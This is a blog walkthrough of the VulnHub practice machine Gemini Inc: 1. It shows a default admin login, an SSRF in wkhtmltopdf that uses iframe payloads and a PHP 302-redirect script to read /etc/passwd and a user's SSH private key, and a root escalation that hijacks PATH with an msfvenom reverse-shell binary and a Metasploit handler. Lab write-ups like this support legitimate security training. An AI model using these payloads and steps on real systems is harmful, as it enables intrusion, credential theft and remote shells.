Write-up for Gemini Inc: 1

This is a write-up on the Gemini Inc: 1, a VulnHub machine designed to be vulnerable. This write-up aims to guide readers through the steps to identifying vulnerable services running on the server and ways of exploiting them to gain unauthorised privileged access to the server.

Disclaimer: this write-up is meant for security enthusiast to set up and hacks the machine locally, in a safe environment while still having fun and get to practice. VulnHub provides users with many vulnerable machines for practice, similar to the ones in the OSCP course lab (read about my OSCP journey).

Word of Advice

As always, my advice for you is that you dirty your hands with the setup and try to hack the machines first before reading through my write-up, that way, you will be able to maximise your learning and be able to enhance your thought process towards hacking and compromising a vulnerable machine.

Setting Up

  1. Download the Virtual Machine (VM) from VulnHub (link)
  2. Start the VM and select “I copied it” and it should start smoothly. Note that the machine was preconfigured to obtain an IP address automatically using DHCP so that is no additional configuration required.
  3. Please note that for this write-up, I have explicitly switched my “Network Adaptor” options to “NAT”. You may choose to also do so or remain with the default settings (Bridge), it should not differ much in terms of the steps in the write-up.

Host discovery

Use netdiscover to identify the hosts in my network:

netdiscover -r
The output from running netdiscover

As shown in the screenshot, it was pretty straight-forward that my target machine is located at the IP address of

Service discovery

Use nmap to identify the list of services running on the target machine:

nmap -sS -Pn -T4 -p-
The output from running nmap on all ports

As shown, only port 22 and 80 were identified to be running.

Now, use the nmap scripts to perform further information gathering:

nmap -O -A -Pn -T4 -p22,80

The following information was obtained:

22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 e9:e3:89:b6:3b:ea:e4:13:c8:ac:38:44:d6:ea:c0:e4 (RSA)
| 256 8c:19:77:fd:36:72:7e:34:46:c4:29:2d:2a:ac:15:98 (ECDSA)
|_ 256 cc:2b:4c:ce:d7:61:73:d7:d8:7e:24:56:74:54:99:88 (EdDSA)
80/tcp open http Apache httpd 2.4.25
| http-ls: Volume /
| - 2018-01-07 08:35 test2/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Index of /
MAC Address: 00:0C:29:05:4A:83 (VMware)

From the information, it was already possible to determine that very likely, port 80 is the entry point to compromising the machine. But as security folks, we do not assume. Now, let’s move on to see if we can compromise the machine.

Enumeration on port 80

Let’s look at port 80 and check out the page identified by nmap previously, located at :

80/tcp open http Apache httpd 2.4.25
| http-ls: Volume /
| - 2018-01-07 08:35 test2/
Login page running on port 80

If you have read my other write-up (e.g. Write-up for Stapler or Kioptrix), you should know by now that I always read the page source. It is not only useful when playing Capture-the-flag (CTF) kind of games like this, but also in real life. 😉

Anyway, check out the page source and you will see that the application was built on the Master Login System.

After going to the project page and analysing the source code, one interesting discovery over there waiting to be found is that a default administrator account that will be created upon setting up the application. This was mentioned in the [web_root]/install.php file, as shown below:

Code snippet from install.php

The source code was nice enough to even share the default administrator account without you going through too much trouble! So, let’s try out the account credentials:

username: admin
password: 1234

And it works!

Successfully logged in!

Seems like we have discovered 2 new functions:

  1. Edit Profile
  2. Export Profile
Edit Profile

After trying out the functions, it was discovered that the export profile function will print the profile.php page into a PDF.

Export Profile (PDF)

Using a HTTP proxy server such as Burp Suite, it was possible to analyse the HTTP response of the PDF document and identify interesting information.

Identifying PDF metadata using Burp HTTP Proxy

As shown above, among the metadata of the generated PDF document, it can be identified that the PDF document was generated using wkhtmltopdf v0.12.4


Based on their website, wkhtmltopdf and wkhtmltoimage are open source (LGPLv3) command line tools to render HTML into PDF and various image formats using the Qt WebKit rendering engine. These run entirely “headless” and do not require a display or display service.

Publicly Known SSRF Vulnerability

If you searched hard enough, you could have identified an SSRF vulnerability affecting the identified version of wkhtmltopdf v0.12.4 (link):

SSRF issue raised on project’s Issue Tracker

Based on the available fields in the form that is controllable by the user, it is trivial to derive that the vulnerable parameter should be the display name (display_name) in the user.php file.

Verify the SSRF vulnerability using the Source Code

The beauty of reviewing a vulnerability on an open source application is that you can immediately dive into the source code and perform a static code review on the user.php file:

$email = $_POST['email'];
$display_name = $_POST['display_name'];
if(!isset($page->error) && $db->query("UPDATE `".MLS_PREFIX."users` SET `email` = ?s, `display_name` = ?s ?p WHERE `userid` = ?i", $email, $display_name, $extra, $u->userid))

As shown, it was easy to see that the code does not have any validation on parameter such as the “display_name”, which makes it not only vulnerable to the issue of Server-Side Request Forgery (SSRF) but also other vulnerabilities such as Cross-Site Scripting (XSS) and HTML Injection because any input will be reflected on profile.php and export.php.

Reproduce the SSRF vulnerability on the application

The unchecked input component of the vulnerability mentioned above can be verified by injecting a simple HTML code in the “display_name” parameter and see if it gets reflected:

Submit the HTML injection test payload to the “display_name” parameter

And yes, it works!

HTML injection was working as a POC of the unchecked parameter

To verify if it is possible to connect to other machines to perform requests, simply set up a simple TCP listener on your local machine and attempt to connect to it:

nc -nlvp 13337
listening on [any] 13337 ...

Now, insert the following payload to the “display_name” parameter to establish a connection back to the above machine which has a TCP listener running on port 13337.

Please be reminded to replace the IP address with your own machine’s IP address.

<iframe src=></iframe>
Submit the iframe payload to the “display_name” parameter

Now, render the export.php page and observe the connection request from the target server – a connection from our target server was received!

Look at the user-agent!

Now it is possible to further confirm that the target server is indeed using a vulnerable instance of wkhtmltopdf and it should be vulnerable to the identified SSRF vulnerability.

For folks who are new to the SSRF vulnerability category, it might take a while for you to understand the gist of it. Take your time. Also, I read this very well-written article prior to exploiting this vulnerability, it might be worthwhile to check it out too.

From SSRF to Local File Read

The most crucial information describing the steps to reproduce this SSRF vulnerability was mentioned on the GitHub issue page itself:

… if wkhtmltoimage convert a http status code 302 url,it may redirect …

To exploit this SSRF vulnerability, we need to make the application connect to a page that would perform a redirect with status 302 to read local file.

The specific page is none other than one which we can control it by ourselves, just like how we make the server accessed our web server earlier.

This page that we control – it should perform a 302 redirection to read a local file. It is as simple as that.

The following simple PHP code should be able to cast its magic in this situation:

root@kali:~/Download/ssrf# cat exfiltrate.php
<?php header('location:file://'.$_REQUEST['x']); ?>

To make this work, you need to run your own web server. Do take note that you should be running a PHP web server instead of any other languages.

If you are interested in learning more about setting up your own PHP web server, check out the official guide by PHP under example 6 – Accessing the CLI Web Server From Remote Machines.

Please note that some very common payloads were purposely written in a slightly encoded format to include them in my post, for example, the very commonly used [/]etc[/]passwd was being written as %2fetc%2fpasswd – if it doesn’t work, just play around and if you still cannot figure it out, leave a comment and I will look into it!

Now that everything is set up, insert the following payload in the “display_name” parameter and export the PDF file again:

<iframe height="2000" width="800" src=></iframe>;

Magic should now appear on your web server:

root@kali:~/Download/ssrf# php -S
PHP 7.0.20-2 Development Server started at Sat Aug 11 13:17:13 2018
Listening on
Document root is /root/Download/ssrf
Press Ctrl-C to quit.
[Sat Aug 11 13:17:27 2018] [302]: /exfiltrate.php?x=%2fetc%2fpasswd

Did you noticed the “http status code 302 url”? Yes, we have now managed to reproduce the vulnerability.

Callbacks were received from my PHP server
Content of the newly generated PDF document

Notice that the home directory of the user uid=1000 is located at /home/gemini1 and using /bin/bash.

Let’s check out the content of its bash_history:

 It's empty, seems like there is no access.

Well, that was my initial thoughts, but I was wrong. The content within bash_history can be empty for many reasons.

For example, when the creator of the CTF box decided that he want to purposely make it empty to mislead you. 🙂

Regardless, it was a good learning point for me. In such situations, to check whether you have the permission to access the content in a particular folder, one way is to check whether you can read the bashrc file.

Modify your display name to the following payload:

<iframe height="2000" width="800" src=></iframe>

Now, render the export.php again and you will see the new content:

Able to access the content of the file

As evidently shown above, we should now attempt to access the SSH keys and see whether this user stores any SSH keys within their home directory. This was also hinted by the box itself, as our nmap results has confirmed that only port 22 and 80 were open.

From Local File Read to Gaining Low Privilege Access to the System

To recap how you can create a new SSH key pair, check out this URL by Github.

Any newly generated SSH key pairs should be located within the ~/.ssh folder and the private key should be named as id_rsa by default.

In this case, the private key should be located at /home/Gemini1/%2essh/id_rsa

Full payload to insert into the “display_name” to retrieve the private key:

<iframe height="2000" width="800" src=></iframe>

You should know the drill now. Go export the file again to see the retrieved information!

Retrieved user’s private key

Now copy and paste the private key to a file and use it to access the system.

Don’t forget to change its permission to 400.

chmod 400 sshkey.txt
ssh -i sshkey.txt gemini1@
Gaining access to the system via SSH

Privilege Escalation using SUID Binaries

Can see that the server is running a very updated 64bit Debian machine, so there should not be any exploits that can directly give us a root. We need to try harder and enumerate!

Very updated 64-bit Debian machine

Checked the services running and found that a DB server is running locally:

And nothing interesting was found
Found a database running locally

Found the password to connect to the database:

Found the database password
Connected to the database
And nothing interesting was found

After checking through all the tables, there seems to be nothing particularly useful for our quest towards gaining root access.

Yes, I purposely added something related to a rabbit hole to illustrate to you that local services enumeration is not always a bed of roses where you run some tools and it will somehow show you the path to root or NT Authority. You can find juicy things like a password and still not achieving your objectives 🙂

Continue to enumerate!

After some time spent doing the enumeration, I came across this interesting binary file:

Interesting binary found!

It has the sticky bit permission (chmod 4000), which means that it will always be run as the owner of the file, not the user who started it.

More importantly, it is not a default file that is supposed to be found within a Debian operating system.

More details can be read on the Linux Privilege Escalation Guide, probably all OSCP certification holders’ best friend.

To exploit this custom binary file to perform privilege escalation, we need to understand what it does. Try running it and see what it does.

Running the listinfo binary file

Seems like it will run a few commands when you execute it. Now, to gather more information as to how it executes the command, we can make use of the strings command.

gemini1@geminiinc:~$ strings /usr/bin/listinfo
/sbin/ifconfig | grep inet
/bin/netstat -tuln | grep 22
/bin/netstat -tuln | grep 80
displaying network information... 
displaying Apache listening port... 
displaying SSH listening port... 
displaying current date... 

Did you notice something that can be exploited?

The winner of the suspicious binary award

Yes, the date command. Apparently, the SUID binary will execute the date command as root.

How does the operating system execute the date command when it is being executed?

gemini1@geminiinc:~$ which date
date command will look into your system path to find the correct binary to run

This is what it does — when you run the date command, it will look into your system $PATH and look for the binary application to execute.

To check your existing path, simply run the following command:

gemini1@geminiinc:~$ echo $PATH
Command to check current path

To add your home directory to the first element within the path, run the following command:

gemini1@geminiinc:~$ export PATH=/home/gemini1:$PATH
Add a directory to $PATH

And it’s done!

Now simply place a malicious binary in your home directory and then executes the /usr/bin/listinfo binary again.

A malicious binary file can be easily generated using Metasploit. Do replace the LHOST and LPORT with your own local IP address and listener port.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=443 -f elf > date

Next, transfer the generated malicious ‘date’ binary file into the target machine and place it within your user home directory.

Setting up the malicious binary file

Finally, set up a handler to catch the reverse shell.

use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LPORT 443
set ExitOnSession false
exploit -j -z

Now, execute the custom binary and magic should happen accordingly:


Congratulations, you should have received a shell with root privilege. Check out the flag!

Congrats on getting the flag!

It was a fun box to hack. Kudos to the author, @sec_9emin1 – for setting up this interesting machine!

Till I blog again!

If you like this post, please check out my other similar write-ups as well:

kongwenbin: I am a security enthusiast, penetration tester and bug hunter who has a great passion in the area of information security. I love to share. Please feel free to leave a comment on my posts. Learning never stops!
Related Post